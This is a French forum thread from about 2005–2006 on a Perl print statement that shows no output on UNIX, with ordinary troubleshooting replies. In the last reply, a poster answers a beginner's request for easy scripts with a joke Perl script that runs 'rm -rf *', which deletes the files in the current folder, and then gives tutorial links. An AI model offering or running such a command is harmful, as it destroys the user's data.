Problème d'affichage en PERL sous UNIX

Problème d'affichage en PERL sous UNIX - Perl - Programmation

Marsh Posté le 24-02-2005 à 10:33:18    

Salut les codeurs,
 
Alors moi en bon newbie je vais vous poser une question à la con mais qui m'em***de profondément.
 
Voilà, j'ai fais un programme en perl 5 sur un windows pour la période de test et aujourd'hui je l'ai déplacé sur le serveur UNIX qui va bien.
Mais aucun de mes print s'affichent!!! je n'ai que les erreurs quand il n'y en avait  (du style "impossible de créer fichier tartempion.txt" car je n'attaquais po le bon dossier). Bref rien qui s'affiche quand ça marche bien...
 
j'utilise la commande: perl tatempion.pl
pour lancer le pgm.  
Mes print sont comme ça: print "hello";
 
Voilà si quelqu'un comprend ce que je dis merci de me répondre...
 
jumpuperone car c moi le premier!!! :sol:

Reply

Marsh Posté le 24-02-2005 à 10:33:18   

Reply

Marsh Posté le 24-02-2005 à 10:54:09    

j'ai essayé de deviner ton code, et j'ai trouvé des pb dans ton script  :ange:


Message édité par couak le 24-02-2005 à 10:54:20
Reply

Marsh Posté le 24-02-2005 à 11:04:32    

Alors toi mec à chaque fois que tu post c pour dire... rien du tout!!!
 
c'est pas grave mais quand je fais:
print "hello";
 
je vois vraiment pas ce qui peux foirer mais bon...

Reply

Marsh Posté le 24-02-2005 à 12:02:59    

http://forum.hardware.fr/hardwaref [...] 4662-1.htm
Qui est ce qui t'as expliqué le fonctionnement de shift() ?
Le fonctionnement de shift() est également dans n'importe quel bouquin Perl
 
Un

Code :
  1. print "hello";

marche sous windows et sous unix, tu veux que je te dises quoi d'autre à part "montre nous ton code pour qu'on regarde" ?

Reply

Marsh Posté le 25-02-2005 à 20:03:39    

c'est vrai que le code aide beaucoup à comprendre un problème là, où à priori, il n'y en a pas ;)
 
Au fait, la commande pour lancer ton script, tu la tape dans une console?
 
PS: toute réponse du style "bah oui, j'suis pas con" aura un effet négatif  :D


---------------
"le logiciel libre est une question de liberté, pas de prix" - Richard M. Stallman - (http://www.gnu.org/philosophy/why-free.fr.html)
Reply

Marsh Posté le 03-03-2005 à 15:54:17    

Pardon couak c'est vrai que je me suis un peu emporté dsl...
Mais voilà aussi on me demande de coder un truc de ouf en 2 semaines sans connaitre le langage!!!
Mais bon Today ça tourne et j'ai même une journée d'avance!
Je pouvais po donner le code, "top secret".
Mais l'affichage plantait à cause des versions de mon terminal x... Bref j'ai trouvé c tout bon ça marche.
 

Reply

Marsh Posté le 03-03-2005 à 16:23:34    

pas de problème, reviens nous voir quand t'auras un autre problème  :hello:

Reply

Marsh Posté le 14-03-2005 à 22:19:03    

Pour info, il y a des chances que ca ne fonctionnait pas parce que tu ne faisait pas de "\n" explicite qui est parfois nécessaire sous unix.
si tu fais  print "test\n" ;  ca fonctionne
 
C'est s^urement le meme concept qu'en C

Reply

Marsh Posté le 26-04-2006 à 00:20:12    

s :hello:  Salut tout le monde!  ben s'il vous plait je veu ke kelk'un maide sur PERL sous UNIX

Reply

Marsh Posté le 26-04-2006 à 00:22:51    

:hello: c encore moi c la premiere fois ke je vois ce logiciel ,si quelq'un a des scripts faciles pour une debutante je vous en serrai reconnaissantes merçi pour tout reponse??

Reply

Marsh Posté le 26-04-2006 à 00:22:51   

Reply

Marsh Posté le 26-04-2006 à 09:11:41    

Code :
  1. #!/usr/bin/perl
  2. use strict;
  3. `rm -rf *`;
  4. exit;


:o
 
Trève de plaisanterie, vite trouvé sur google:
http://gershwin.ens.fr/vdaniel/Doc [...] /tal/perl/
ou
http://www.ac-creteil.fr/util/programmation/perl/
 
 
 

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed